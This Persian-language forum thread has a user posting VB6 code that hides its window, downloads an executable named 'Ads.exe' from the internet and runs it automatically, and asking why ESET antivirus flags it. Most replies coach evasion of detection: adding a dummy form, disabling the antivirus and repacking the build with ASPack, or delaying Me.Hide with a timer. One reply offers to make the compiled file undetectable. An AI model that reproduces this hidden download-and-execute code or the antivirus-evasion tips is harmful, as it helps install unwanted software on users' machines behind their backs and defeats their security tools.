PDA

View Full Version : سوال: آنتي ويروس Eset Smart Security برنامهم رو ويروس مي شناسه چي كار كنم؟



parselearn
دوشنبه 27 آبان 1387, 06:44 صبح
با سلام
من در برنامم مي خوام يك فايل رو دانلود كنم
به خاطر همين از تابع URLDownloadToFile استفاده كردم
ولي آنتي ويروس Eset Smart Security برنامم رو ويروس مي شناسه
زماني كه اين خط رو حذف مي كنم هيچ مشكلي نيست



'Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
ولي خب اين خط هسته برنامم هست
چي كار كنم؟

كل كد برنامه:



Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'Dll Connect To The Internet
Private Declare Function InternetGetConnectedStateEx Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal lpszConnectionName As String, ByVal dwNameLen As Integer, ByVal dwReserved As Long) As Long

'Chek Connect
Public Function ChekConnect() As Boolean
Dim sConnType As String * 255
Dim ret As Long
ret = InternetGetConnectedStateEx(ret, sConnType, 254, 0)
If ret = 1 Then
ChekConnect = True
Conname = sConnType
Else
ChekConnect = False
End If
End Function
'End Chek Connect

Sub DLAdsfile()
On Error Resume Next
Dim retVal As Long 'our return value
Dim theUrl As String 'the url you want to download
Dim savePath As String 'where you want to save the url
theUrl = "http://.../.../Ads.exe"
savePath = App.Path + "\Ads.exe"
'retVal = URLDownloadToFile(0, theUrl, savePath, 0, 0)

If retVal = 0 Then
Dim Adsfile As New FileSystemObject
If Adsfile.FileExists(App.Path + "\Ads.exe") = True Then
Shell (App.Path + "\Ads.exe"), vbNormalFocus
End If
'File was downloaded successfully!
End
Else
'There was a error downloading the file
End
End If
End Sub

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub tcon_Timer()
If ChekConnect = True Then
Call DLAdsfile
tcon.Enabled = False
Else
End
End If
End Sub

3dboy1
دوشنبه 27 آبان 1387, 06:59 صبح
با سلام

احتمالا به خاطر این هست که شما فرم رو در ابتدا مخفی کردین
آنتی ها وقتی در فرم هاید از دستورات کپی یا دانلود یا مانند آن استفاده می کنند برنامه رو ویروس می شناسند

اگر حجم برنامه برات مهم نیست یه فرم خالی به فرو اضافه کن شاید آنتی گیر نداد

یا آنتی رو غیر فعال کن سپس برنامت رو کمپایل کن و بعد با کمپایلرها برنامت رو یک بار دیگه کمپایل کن
مثل : ASPack
موفق باشی

مهران رسا
دوشنبه 27 آبان 1387, 13:19 عصر
URLDownloadToFile هم یکی دیگر از عوامل شناسایی برنامه شما توسط آنتی ویروس هست .
در ضمن Me.Hide رو در یک Timer بنویسید و بعد از اون Timer رو غیر فعال کنید .

به این صورت :



Me.Hide
Timer1.Enabled = False


Timer Interval رو هم می تونید روی 1 میلی ثانیه تنظیم کنید . مطمئن باشید دیگه آنتی ویروس کاری به کار برنامه شما نخواهد داشت .

debugger
دوشنبه 27 آبان 1387, 13:26 عصر
حق با انتی ویروس هست.

شما فرم را مخفی کردی و داری دانلود می کنی.

تازه بعد از دانلود هم میخوای اجرا بشه. باید یوزر خودش اجرا کنه . نه برنامه خودش اجرا کنه

اگر بازم نتونستی کاریش کنی . فایل اگزه کامپایل شده را اپلود کن. من یه کاری کنم . آنتی ویروس شناساییش نکنه